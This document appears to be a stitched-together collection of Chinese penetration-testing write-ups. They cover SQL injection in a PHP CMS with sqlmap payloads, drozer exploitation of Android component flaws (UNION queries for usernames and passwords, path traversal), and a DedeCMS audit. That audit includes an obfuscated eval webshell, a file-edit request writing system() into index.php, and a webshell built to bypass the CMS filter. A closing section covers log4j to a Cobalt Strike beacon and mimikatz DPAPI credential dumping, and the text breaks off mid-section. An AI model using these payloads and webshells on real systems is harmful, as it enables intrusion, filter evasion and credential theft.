RLIKE: 这是MySQL的正则表达式匹配操作符,一般用它来触发一个条件判断。
(CASE WHEN (2321=2321) THEN ... ELSE ... END): 这是一个SQL的CASE条件语句。这里它判断一个永恒成立的条件 2321=2321
如果条件为 True,那么整个RLIKE语句会匹配用户名111111111111,页面可能会返回一个找不到用户名存在的状态。
如果条件为 False,比如说什么1=2之类的常见语句,那么CASE语句会返回一个错误的结果,导致RLIKE匹配失败,页面可能会返回一个完全空白的状态。
把2321=2321换成 (SELECT COUNT(*) FROM information_schema.schemata) > 5),观察页面的反应,盲猜出数据库名称出来。
所以明确了这里存在sql注入漏洞。
1.2 CVE-2025-8993
接着,在“/admin/expense_report.php”文件中又发现了一个严重的SQL注入漏洞。该漏洞源于对“from_date”参数的用户输入验证不足,使得攻击者能够注入恶意SQL查询。因此,攻击者可以未经授权访问数据库,修改或删除数据,并获取敏感信息。
这段代码的核心逻辑其实就是,首先检查用户是否点击了提交按钮if (isset($_POST['submit'])),然后就去获取用户表单中输入的起始日期$from_date和结束日期$to_date,连接数据库之后用一条 sql 语句,查询 expense表中所有在用户指定日期范围内创建的记录。
而且还用了PDO,PDO最重要的就是预处理语句,从根本上防御sql注入,但是又没使用好。
它将 sql 语句的结构 和 数据 分开发送给数据库服务器处理。
比如说先把一个带“占位符”的 sql 模板发送给数据库,数据库会解析并编译这个模板,确定它的结构。
$stmt = $pdo->prepare("SELECT * FROM users WHERE name = ? AND pwd = ?");
然后当执行阶段的时候,再把真实的数据,比如说什么用户输入的用户名和密码,发送给数据库,数据库只会把这些数据当正常数据值使用,不会把它当成 SQL 代码来解析。
这样就避免了,即使用户输入了恶意的数据比如说什么常见的 ' OR '1'='1,它也只会被当作一个普通的字符串字面值去进行匹配,而不会改变原sql语句的逻辑。从而彻底杜绝了 SQL 注入。
但是这条sql语句虽然也使用了PDO,但是它把用户要输入的from_date的值给它拼接到sql字符串了,代码和字符串直接拼接,完全绕过了PDO的安全保护,让PDO形同虚设。
$stmt = $conn->prepare("SELECT * FROM expense where created_date between '".$_POST['from_date']."' and '".$_POST['to_date']."' ");
$_POST['from_date'] 和 $_POST['to_date'] 没有任何过滤/转义,直接拼接到了 SQL 中。
攻击者只要在表单输入里构造恶意 payload,就能注入 sql。
虽然用了 PDO,但没有真正用到参数化查询。
$conn->prepare(...) 本身可以防止注入,但是这里不知道怎么回事,开发者依然把变量拼接到了 sql 里,相当于没起作用。
所以漏洞源于“from_date”参数的用户输入验证不足,导致攻击者能够注入恶意sql查询。
payload
---
Parameter: from_date (POST)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: from_date=0111-11-11' AND GTID_SUBSET(CONCAT(0x71716a6271,(SELECT (ELT(8748=8748,1))),0x7162707071),8748)-- OwaD&to_date=0001-01-11&submit=
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vyOX&to_date=0001-01-11&submit=
---
用sqlmap进行检测
sqlmap -u "http:/http://127.0.0.1/code/admin/expense_report.php" --data="from_date" --batch --dbs
sqlmap 识别到 POST 参数 from_date 存在注入漏洞。
测试了多种方式,包括 基于报错注入 和 基于时间的盲注 ,都确认有效。
所谓的错误型注入,简单点说就是通过故意触发数据库错误,从而让数据库在报错信息中直接返回查询结果。
还有时间盲注 ,字面意思也就是通过让数据库执行延时函数,比如说什么 SLEEP(5),然后根据页面响应时间来判断注入的sql是否有效。
from_date=0111-11-11' AND (SELECT 5860 FROM (SELECT(SLEEP(5)))KNEf)-- vy0X&...
如果注入成功,数据库将会执行 SLEEP(5)命令,导致页面响应时间延迟5秒。sqlmap就会根据这个延迟就能判断出漏洞存在。
而且sqlmap 成功获取了数据库名:information_schema,这是系统库,每个cms都会有的。
tour1,这个才是该cms特有的数据库名称。
所以明确了POST参数的from_date存在注入漏洞。
3.建议修复
使用准备好的语句和参数绑定:准备好的语句可以防止 SQL 注入,因为它们将 SQL 代码与用户输入数据分离。使用准备好的语句时,用户输入的值将被视为纯数据,不会被解释为 SQL 代码。
输入验证和过滤:严格验证和过滤用户输入数据,确保其符合预期的格式。
最小化数据库用户权限:确保用于连接数据库的账户具有必要的最低权限。避免使用具有高级权限的账户,比如“root”或“admin”进行日常操作。
定期安全审计:定期进行代码和系统安全审计,及时发现并修复潜在的安全漏洞。
Android四大组件安全漏洞实战
Android 四大组件Activity、Service、Broadcast Receiver和Content Provider是应用程序的核心组成部分,但如果实现不当,会引入严重的安全漏洞。本文将详细分析各组件常见的安全漏洞,通过漏洞代码逻辑基于 drozer 的利用方式,能够更清楚的了解具体漏洞的原理以及利用方法。
具体droze的下载和安装不详细介绍,可以自行百度,安装完成后先在android端运行drozer agent,点击开启。
在电脑端通过adb实现端口转发,并成功启动drozer
adb forward tcp:31415 tcp:31415
drozer console connect
通过app.package.list的filter参数过滤alan关键词的包名称
run app.package.list --filter alan
查询该app的包信息
run app.package.info -a com.asec.alan
利用app.package.attacksurface可以查询该APP的攻击面,即漏洞的点和数量。
run app.package.attacksurface com.asec.alan
完成上述的操作后,即可对相关的漏洞进行检测分析了,接下来针对具体的组件和漏洞进行测试操作。
一、Activity
Activity 作为 Android 的界面组件,负责与用户交互,其安全问题直接影响用户数据安全。
1、未授权访问漏洞
需要登录权限的 Activity 未做严格校验,导致恶意应用可直接通过 Intent 启动。
通过以下drozer命令可以查看当前app的所有activity,并确认无权限限制
run app.activity.info -a com.asec.alan
对于这些activity的执行逻辑属于
LoginActivity登录->MainActivity->InfoQueryActivity
LoginActivity登录->MainActivity->FileQueryActivity
1)漏洞代码
以下为具体的代码,以LoginActivity登录->MainActivity->InfoQueryActivity场景为例,可以看到首先LoginActivity以硬编码的形式进行用户密码的判断,并使用SharePreference进行了登录态的存储
当用户密码登录成功后即可跳转MainActivity,MainActivity对登录态简单做了校验,确认其中的is_logged_in的值存在即可加载。
通过MainActivity跳转到InfoQueryActivity直接进行点击事件的监听跳转
该acitivity直接加载,未进行登录态的校验
通过上述APP代码的分析,可以判断出MainActivity的加载做了简单的登录态校验,但是如果已经登录过,且登录态写入到user_prefs.xml中后,只要不进行删除即可直接通过命令加载成功实现绕过;InfoQueryActivity的加载并未做任何校验,可以尝试直接进行加载。
2)漏洞利用
MainActivity加载:
基于上述代码逻辑的分析,接下来通过drozer命令进行利用测试,如果已经登录过APP,则在该程序目录会生成user_prefs.xml文件,里面会写入"is_logged_in"的值为true
MainActivity的加载可直接通过drozer命令加载
run app.activity.start --component com.asec.alan com.asec.alan.MainActivity
执行后成功记载MainActivity
删除user_prefs.xml文件,再利用drozer命令尝试加载MainActivity则失败
InfoQueryActivity加载:
InfoQueryActivity则通过app.activity.start命令直接加载即可。
run app.activity.start --component com.asec.alan com.asec.alan.InfoQueryActivity
3)修复建议
二、Service
Service 用于后台处理任务,若存在漏洞可能导致敏感操作被恶意调用。
新建一个用于漏洞测试的service,并写入一些漏洞的逻辑
service组件运行导出
通过drozer命令可以查询支持导出的service组件信息,支持导出则可能存在对应的漏洞。
run app.service.info -a com.asec.alan
1、任意文件写入漏洞
在 Android Service 场景中,当服务接收外部传入的文件路径参数并直接用于文件写入操作时,覆盖应用自身关键文件(配置文件、数据库等),导致应用的使用或者安全风险问题。
1)漏洞代码
当 Service 处理"com.asec.alan.ACTION_WRITE_FILE"动作时,会从 Intent 中直接读取filePath参数及需要写入的内容,并通过writeToFile()方法写入内容。但是writeToFile()直接使用传入的filePath创建File对象,未检查路径是否限制在应用私有目录
2)漏洞利用
通过drozer命令向/data/data/com.asec.alan/写入drozer_test.txt文件,文件内容为Test from drozer
run app.service.start --action com.asec.alan.ACTION_WRITE_FILE --component com.asec.alan com.asec.alan.VulnerableService --extra string file_path "/data/data/com.asec.alan/drozer_test.txt" --extra string content "Test from drozer"
利用adb shell连接android系统,切换为root权限后查看drozer_test.txt的存在和内容
adb shell
su
ls /data/data/com.asec.alan/drozer_test.txt
cat /data/data/com.asec.alan/drozer_test.txt
2、敏感信息泄露漏洞
敏感信息泄露指应用在运行过程中,将不应公开的敏感数据(如密码、密钥、令牌等)以明文形式存储、传输或输出,导致未授权主体可获取这些信息。
1)漏洞代码
当 Service 处理"com.asec.alan.ACTION_GET_SECRET"动作时,getSensitiveInformation()方法会返回包含数据库密码、API 密钥等核心敏感数据,并通过Log.d()输出到系统日志
2)漏洞利用
利用drozer命令启动com.asec.alan com.asec.alan.VulnerableService服务
run app.service.start --action com.asec.alan.ACTION_GET_SECRET --component com.asec.alan com.asec.alan.VulnerableService
通过adb的logcat查看对应的日志,成功打印出对饮的敏感数据。
adb logcat VulnerableService:D *:S
三、Broadcast Receiver
Broadcast Receiver 用于接收系统或应用间的广播,若实现不当会导致信息泄露或恶意调用。
1、伪造恶意广播漏洞
Receiver 未验证广播发送者身份,恶意应用可伪造广播触发敏感操作。
1)漏洞代码
该接收器未对广播发送者的身份进行任何验证,任何应用都可以发送com.asec.alan.ACTION_SENSITIVE_OPERATION动作的广播来触发其逻辑。并通过performSensitiveOperation方法执行敏感操作,测试使用Toast在界面弹窗展示,但整个调用链都没有权限检查机制。
2)漏洞利用
利用drozer伪造恶意广播并触发该接收器
run app.broadcast.send --action com.asec.alan.ACTION_SENSITIVE_OPERATION --component com.asec.alan com.asec.alan.VulnerableReceiver --extra string operation "test" --extra string data "test"
通过界面可以查看到对应的广播信息
四、Content Provider
Content Provider 用于数据共享,是最容易出现安全问题的组件,常见漏洞包括信息泄露、SQL 注入和目录遍历。
1、信息泄露漏洞
Content Provider 未限制访问权限,导致应用内敏感数据(如用户信息、数据库)可被任意读取。
1)漏洞代码:
通过该代码可以发现,未检查调用者是否有读取权限,可以直接调用sql进行数据的查询。
2)漏洞利用
利用drozer命令可以查看该APP的provider的信息
run app.provider.info -a com.asec.alan
利用app.provider.finduri可以查看所有的uri
run app.provider.finduri com.asec.alan
通过drozer查询content://com.asec.alan.provider/该uri的数据
run app.provider.query content://com.asec.alan.provider/
2、SQL 注入漏洞
Content Provider 在处理查询时直接拼接 SQL 语句,未使用参数化查询,导致 SQL 注入。
1)漏洞代码
通过代码发现将selection参数直接拼接进 SQL 查询字符串,未使⽤参数化查询或输⼊净化,完全信任外部输⼊。并且忽略了selectionArgs参数,该参数本应⽤于安全传递查询参数,调⽤rawQuery时未使⽤参数绑定功能,⽽是传递null。
2)漏洞利用
利用drozer的scanner.provider.injection可以查询该APP的Content Provider存在的SQL注入
run scanner.provider.injection -a com.asec.alan
基于sql注入漏洞的测试和利用,通过order by进行显示位的判断
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 2"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 3"
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 order by 4"
并进行username和password数据的查询。
run app.provider.query content://com.asec.alan.provider/ --selection "1=1 UNION SELECT 1,username,password FROM users--"
3、目录遍历漏洞
Content Provider 的openFile()方法未验证文件路径,导致攻击者可访问应用沙盒外的任意文件。
1)漏洞代码
代码中使用uri.getEncodedPath()获取路径,未处理../或..\等路径跳转符,用户可控的uriPath直接与基础目录baseDir拼接,并没有对访问的文件类型、路径范围进行权限校验。
2)漏洞利用
利用drozer的scanner.provider.traversal对目录遍历漏洞进行检测,发现对应的uri
run scanner.provider.traversal -a com.asec.alan
并成功查询/system/etc/hosts文件内容
run app.provider.read content://com.asec.alan.provider/../../../../system/etc/hosts
本文利用drozer工具基于该APP的测试和操作,其实对于android app的组件漏洞的测试还有很多方法,通过其对四大组件的系统性检测,可有效发现权限控制缺失、输入验证不足等高危漏洞。在实际测试中,需结合静态代码分析(如查看 AndroidManifest.xml 的组件配置)与 Drozer 的动态交互测试,形成 "静态枚举 + 动态验证" 的闭环,才能全面评估组件的安全状态,为漏洞修复提供精准依据。
APP地址: https://pan.baidu.com/s/1l1thGur7wmMBXLWivqW6cg?pwd=4ggk
提取码: 4ggk
意外搞出的免杀 Webshell 实战之织梦 CMS 到 RCE
前言
书接上文,在上次意外搞出的免杀 webshell 条件下,最近又去审计了一个织梦 CMS
官方网站 https://www.dedecms.com/
最后成功利用免杀 webshell 实现了 RCE,下面是审计过程和审计思路
环境搭建
去官网下载源码,然后配合 phpstudy 搭建就 ok 了
这个比较简单,注意根目录需要放 upload 目录
注意默认的管理员目录是 dede,访问/dede/login.php
默认账户密码adminadmin
代码审计
这里我只找 RCE 漏洞
首先对于 php 的话,就是找 sink 点,或者在后台功能点去看,一般审计多了,看到功能点就大概能猜出有哪些漏洞
sink 点的话可以使用一个工具
Seay 源代码审计系统
https://github.com/f1tz/cnseay虽然比较粗糙,误报很多,不过相比于语义分析的工具更能提升代码审计的技术
我们直接把源码丢进去就可以了
可以看到这个工具确实不太准确,因为 sink 点实在太多,不过熟练后,一眼就知道哪些不需要去管的
然后这里我只关注能够 RCE 的漏洞
找到之后没有什么技巧,就是回头看参数是否可以控制
下面举个例子
案例 1
比如这句话,一眼就感觉有漏洞,我们就需要去详细查看一下
<?php /*<meta name="9Rrdzo" content="a">*/
$password='UaUahObGMzTnBiMjVmYzNSaGNuUW9LVHNLUUhObGRGOTBhVzFsWDJ4cGJXbDBLREFwT3dwQVpYSnliM0pmY21Wd2aIzSjBhVzVuS0RBcE93cG1kVzVqZEdsdmJpQmxibU52WkdVb0pFUXNKRXNwZXdvZ0lDQWdabTl5S0NScFBUQTdKR2s4YzNSeWJHVnVLQ1JFS1Rza2FTc3JLU0I3Q2lBZ0lDQWdJQ0FnSkdNZ1BTQWtTMXNrYVNzeEpqRTFYVHNLSUNBZ0lDQWdJQ0FrUkZza2FWMGdQU0
$username = get_meta_tags(__FILE__)[$_GET['token']];
header("ddddddd:".$username);
$arr = apache_response_headers();
$template_source='';
foreach ($arr as $k => $v) {
if ($k[0] == 'd' && $k[5] == 'd') {
$template_source = str_replace($v,'',$password);
}}
$template_source = base64_decode($template_source);
$template_source = base64_decode($template_source);
$key = 'template_source';
$aes_decode[1]=$key;
@eval($aes_decode[1]);
$NkM1M7 = "..............";
if( count($_REQUEST) || file_get_contents("php://input") ){
}else{
header('Content-Type:text/html;charset=utf-8'); http_response_code(405);
echo base64_decode/**/($NkM1M7);
}
我们可以看到这个参数其实是不能控制的
`aes_decode[1]就是 $key,等价于$template_source
$template_source = str_replace($v, '', $password);
来源于$password
而其中 password 是固定的,所以不可以控制
案例 2
function DeleteFile($filename)
{
$filename = $this->baseDir.$this->activeDir."/$filename";
if(is_file($filename))
{
@unlink($filename); $t="文件";
}
else
{
$t = "目录";
if($this->allowDeleteDir==1)
{
$this->RmDirFiles($filename);
} else
{
// 完善用户体验,by:sumic
ShowMsg("系统禁止删除".$t."!","file_manage_main.php?activepath=".$this->activeDir);
exit;
}
}
ShowMsg("成功删除一个".$t."!","file_manage_main.php?activepath=".$this->activeDir);
return 0;
}
}
是一个方法,这种需要寻找调用这个方法的地方
else if($fmdo=="del")
{
$fmm->DeleteFile($filename);
}
这种是一个典型的控制器,根据 fmdo 来选择对应的操作
不过根据所在的文件的注释
/**
* 文件管理控制
*
* @version $Id: file_manage_control.php 1 8:48 2010年7月13日 $
* @package DedeCMS.Administrator
* @founder IT柏拉图, https://weibo.com/itprato
* @author DedeCMS团队
* @copyright Copyright (c) 2004 - 2024, 上海卓卓网络科技有限公司 (DesDev, Inc.)
* @license http://help.dedecms.com/usersguide/license.html
* @link http://www.dedecms.com
*/
这里就能大概猜到了
是一个文件管理器,可能对应着删除按钮,我们尝试能不能目录穿越
不过这里是做了限制的
$filename = preg_replace("#([.]+[/]+)*#", "", $filename);
移除 ../ 形式的路径穿越字符
而且下面还会直接移除..
所以考虑放弃
案例 3
定位到 sys_sql_query.php 文件了
发现可以执行 sql
if(preg_match("#^select #i", $sqlquery))
{
$dsql->SetQuery($sqlquery);
$dsql->Execute();
if($dsql->GetTotalRow()<=0)
{
echo "运行SQL:{$sqlquery},无返回记录!";
}
else
{
echo "运行SQL:{$sqlquery},共有".$dsql->GetTotalRow()."条记录,最大返回100条!";
}
$j = 0;
while($row = $dsql->GetArray())
{
$j++;
if($j > 100)
{
break;
}
echo "<hr size=1 width='100%'/>";
echo "记录:$j";
echo "<hr size=1 width='100%'/>";
foreach($row as $k=>$v)
{
echo "<font color='red'>{$k}:</font>{$v}<br/>\r\n";
}
}
exit();
}
if($querytype==2)
{
//普通的SQL语句
$sqlquery = str_replace("\r","",$sqlquery);
$sqls = preg_split("#;[ \t]{0,}\n#",$sqlquery);
$nerrCode = ""; $i=0;
foreach($sqls as $q)
{
$q = trim($q);
if($q=="")
{
continue;
}
$dsql->ExecuteNoneQuery($q);
$errCode = trim($dsql->GetError());
if($errCode=="")
{
$i++;
}
else
{
$nerrCode .= "执行: <font color='blue'>$q</font> 出错,错误提示:<font color='red'>".$errCode."</font><br>";
}
}
echo "成功执行{$i}个SQL语句!<br><br>";
echo $nerrCode;
}
else
{
$dsql->ExecuteNoneQuery($sqlquery);
$nerrCode = trim($dsql->GetError());
echo "成功执行1个SQL语句!<br><br>";
echo $nerrCode;
}
exit();
}
而且 sql 语句是可以控制的
跟进执行的地方发现
function Execute($id="me", $sql='')
{
global $dsqli;
if(!$dsqli->isInit)
{
$this->Init($this->pconnect);
}
if($dsqli->isClose)
{
$this->Open(FALSE);
$dsqli->isClose = FALSE;
}
if(!empty($sql))
{
$this->SetQuery($sql);
}
//SQL语句安全检查
if($this->safeCheck)
{
CheckSql($this->queryString);
}
$t1 = ExecTime();
//var_dump($this->queryString);
$this->result[$id] = mysqli_query($this->linkID, $this->queryString);
//var_dump(mysql_error());
//查询性能测试
if($this->recordLog) {
$queryTime = ExecTime() - $t1;
$this->RecordLog($queryTime);
//echo $this->queryString."--{$queryTime}<hr />\r\n";
}
if($this->result[$id]===FALSE)
{
$this->DisplayError(mysqli_error($this->linkID)." <br />Error sql: <font color='red'>".$this->queryString."</font>");
}
}
是有一个 checksql 的检查的
//SQL语句过滤程序,由80sec提供,这里作了适当的修改
if (!function_exists('CheckSql'))
{
function CheckSql($db_string,$querytype='select')
{
global $cfg_cookie_encode;
$clean = '';
$error='';
$old_pos = 0;
$pos = -1;
$log_file = DEDEINC.'/../data/'.md5($cfg_cookie_encode).'_safe.txt';
$userIP = GetIP();
$getUrl = GetCurUrl();
//如果是普通查询语句,直接过滤一些特殊语法
if($querytype=='select')
{
$notallow1 = "[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}";
//$notallow2 = "--|/\*";
if(preg_match("/".$notallow1."/i", $db_string))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||SelectBreak\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 1 !</font>");
}
}
//完整的SQL检查
while (TRUE)
{
$pos = strpos($db_string, '\'', $pos + 1);
if ($pos === FALSE)
{
break;
}
$clean .= substr($db_string, $old_pos, $pos - $old_pos);
while (TRUE)
{
$pos1 = strpos($db_string, '\'', $pos + 1);
$pos2 = strpos($db_string, '\\', $pos + 1);
if ($pos1 === FALSE)
{
break;
}
elseif ($pos2 == FALSE || $pos2 > $pos1)
{
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s#39;;
$old_pos = $pos + 1;
}
$clean .= substr($db_string, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
OR strpos($clean,'$s$s#39;)!== FALSE)
{
$fail = TRUE;
if(preg_match("#^create table#i",$clean)) $fail = FALSE;
$error="unusual character";
}
//老版本的Mysql并不支持union,常用的程序里也不使用union,但是一些黑客使用它,所以检查它
if (strpos($clean, 'union') !== FALSE && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="union detect";
}
//发布版本的程序可能比较少包括--,#这样的注释,但是黑客经常使用它们
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== FALSE || strpos($clean, '#') !== FALSE)
{
$fail = TRUE;
$error="comment detect";
}
//这些函数不会被使用,但是黑客会用它来操作文件,down掉数据库
elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="slown down detect";
}
elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0)
{
$fail = TRUE;
$error="file fun detect";
}
//老版本的MYSQL不支持子查询,我们的程序里可能也用得少,但是黑客可以使用它来查询数据库敏感信息
elseif (preg_match('~\([^)]*?select~s', $clean) != 0)
{
$fail = TRUE;
$error="sub select detect";
}
if (!empty($fail))
{
fputs(fopen($log_file,'a+'),"$userIP||$getUrl||$db_string||$error\r\n");
exit("<font size='5' color='red'>Safe Alert: Request Error step 2!</font>");
}
else
{
return $db_string;
}
}
}
案例 4
基于这个文件管理,我们还是在这个类,肯定还有编辑文件的说法
我们来到对应的路由去查看
果然找到了
//文件编辑
/*---------------
function __saveEdit();
----------------*/
else if($fmdo=="edit")
{
csrf_check();
$filename = str_replace("..", "", $filename);
$file = "$cfg_basedir$activepath/$filename";
$str = stripslashes($str);
$fp = fopen($file, "w");
fputs($fp, $str);
fclose($fp);
if ($fp === false) {
ShowMsg("保存失败!请检查文件是否可写", -1);
exit();
}
if(empty($backurl))
{
ShowMsg("成功保存一个文件!","file_manage_main.php?activepath=$activepath");
}
else
{
ShowMsg("成功保存文件!",$backurl);
}
exit();
}
一样的方法
文件名是 filename,内容是 str
我们访问对应的路由
发现是一个文件管理器,而且可以编辑文件,那不是随便 getshell 了吗
POST /dede/file_manage_control.php HTTP/1.1
Host: dedecms:5135
Content-Length: 130
Cache-Control: max-age=0
Origin: http://dedecms:5135
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://dedecms:5135/dede/file_manage_view.php?fmdo=edit&filename=index.php&activepath=
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwa
Connection: keep-alive
fmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++
但是发现
所以准备调试分析一手
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
global $cfg_disable_funs;
$cfg_disable_funs = isset($cfg_disable_funs) ? $cfg_disable_funs : 'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace';
$cfg_disable_funs = $cfg_disable_funs.',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders';
foreach (explode(",", $cfg_disable_funs) as $value) {
$value = str_replace(" ", "", $value);
if(!empty($value) && preg_match("#[^a-z]+['\"]*{$value}['\"]*[\s]*[([{']#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
if(preg_match("#^[\s\S]+<\?(php|=)?[\s]+#i", " {$str}") == TRUE) {
if(preg_match("#[$][_0-9a-z]+[\s]*[(][\s\S]*[)][\s]*[;]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[@][$][_0-9a-z]+[\s]*[(][\s\S]*[)]#iU", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
if(preg_match("#[`][\s\S]*[`]#i", " {$str}") == TRUE) {
$str = dede_htmlspecialchars($str);
die("DedeCMS提示:当前页面中存在恶意代码!<pre>{$str}</pre>");
}
}
发现原因是因为有 waf
直接交给一个聪明朋友
移除多行注释
$str = preg_replace("#(/\*)[\s\S]*(\*/)#i", '', $str);
防止攻击者把危险代码写在注释中来绕过检测。
危险函数与变量过滤
$cfg_disable_funs = 'eval,assert,exec,...,$_GET,$_POST,...';
匹配并拦截使用了以下内容的代码:
系统函数:eval, exec, system, passthru, popen, assert, shell_exec 等
全局变量:`$GET, $POST, $REQUEST, $COOKIE, $_FILES, GLOBALS
动态函数调用:call_user_func, create_function, 等
一旦匹配:直接终止执行并提示危险代码。
PHP 标签与代码执行行为检测
感觉过滤还是挺严格的
绕过 waf 到 RCE
直接掏出上次的 webshell,稍微修改一下就 ok 了
<?php
class User {
private $username;
private $password;
public function __construct($username, $password) {
$this->username = $username;
$this->password = $password;
}
public function __debugInfo() {
$xmlData = base64_decode("PGJvb2tzPgogICAgPHN5c3RlbT5jYWxjPC9zeXN0ZW0+CjwvYm9va3M+");
$xmlElement = new SimpleXMLElement($xmlData);
$namespaces = $xmlElement->getNamespaces(TRUE);
$xmlElement->rewind();
var_dump($xmlElement->key());
$result = $xmlElement->xpath('/books/system');
var_dump (($result[0]->__toString()));
($xmlElement->key())($result[0]->__toString());
return [
'username' => $this->username,
'info' => '这是调试时返回的信息',
'timestamp' => time()
];
}
}
$user = new User('alice', 'secret123');
var_dump($user);
原理上次大概讲过了,就是自动触发
详情可以看到蚁景网络安全这个公众号
https://mp.weixin.qq.com/s/WDWBwPQuXroBRpBPxkHOcg感谢给的平台
然后我们访问首页
成功弹出计算器
记一次内网横向破解管理员密码
前言
本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法。
外网打点
首先一波信息收集过后,把最后收集的到的 url 拿到 httpx 去做一下存活检测
httpx 测活一下
测完活之后,搞波指纹
指纹到手,这边一般我都是拿高危指纹去漏扫一下
然后找到了一个站点
GETshell
之后找到了一个站点
直接访问如下,相信这种情况很常见,别急,其实还有利用空间,然后我对它目录扫描了一波
发现竟然有
/api/actuator 泄露,这个利用的手法很多
先遍历访问一下常见的接口
但是这个点接口权限不够,比如常见的 env 和 heapdump 访问不到
决定溜了的时候发现 bp 我的 dns 平台传来了动静
竟然有 log4j
呜呜呜,网上一堆工具,打 log4j 都到完全自动化的地步了
CS 生成一个命令,上线到 cs 上,因为不好传文件,就执行命令
07/23 15:13:23 beacon> shell whoami
07/23 15:13:23 [*] Tasked beacon to run: whoami
07/23 15:13:23 [+] host called home, sent: 37 bytes
07/23 15:13:23 [+] received output:
xxxxxx\administrator
内网启动
内网信息收集
首先简单看下内网的网段
找到了内网之后我们就需要查看存活情况了,我的 fscan 没有免杀,这里只能随便看看了
随便 arp-a 看了一下
发现 c 段的主机还是很多的
systeminfo
win2012 的用户,不过已经是高权限了,也没有必要提权了
然后我发现在域的时候我就先不管了,先找找凭据
凭据收集
这里没有抓取到密码
然后自己尝试了半天,大师傅提示了一些东西,我觉得这个思路也不错,下面讲讲是如何突破的
突破
当时因为还拿下了一台主机,而且是同一个内网的
查询连接信息的时候查到了之前的那个内网,我就想着可以尝试使用 DPAPI
DPAPI 是 Windows 系统用来加密敏感数据(比如用户保存的密码、浏览器凭据、无线密码等)的一个加密机制
MasterKey 就是一串“主密钥”,是每个用户登录 Windows 后系统自动为其生成的,用来加密和解密数据的“钥匙”
流程
[ 用户口令 → 派生 Key1 ] ← 用来加密 MasterKey
↓
[ MasterKey ] ← 用来加密 DPAPI 中的密码等敏感数据
↓
[ 某个应用的数据(如 WiFi 密码) ]GUID : {3cef9fc0-4319-42da-80ff-9e74470a9f7c}
Time : 2025/2/4 0:23:08
MasterKey : aed5fc1156359826c231e1079996c769cf1ee...
sha1(key) : deb68bc117a3323d424a7d21a86173438e2419f7
Master Key Files
存放密钥的文件则被称之为 MasterKeyFiles,其路径一般为 %APPDATA%/Microsoft/Protect/%SID%。而这个文件中的密钥实际上是随机 64 位字节码经过用户密码等信息的加密后的密文,所以只需要有用户的明文密码/Ntlm/Sha1 就可以还原了。
当然除了 GUID 命名的文件之外,还有 Preferred,显示当前系统正在使用的 MasterKey file 及其过期时间
我这里去寻找一下 amdin 的凭证
直接拿最新的那个
然后去获取 guid
之后通过这个 guid,我们去寻找 masterkey
首先需要把全部的 masterkey 找出来
mimikatz sekurlsa::dpapi
sekurlsa::dpapi 会从 lsass 中提取当前用户登录会话的 DPAPI MasterKey 解密材料(如密码、hash、SID 等),用于离线解密各种 DPAPI 加密的凭据文件
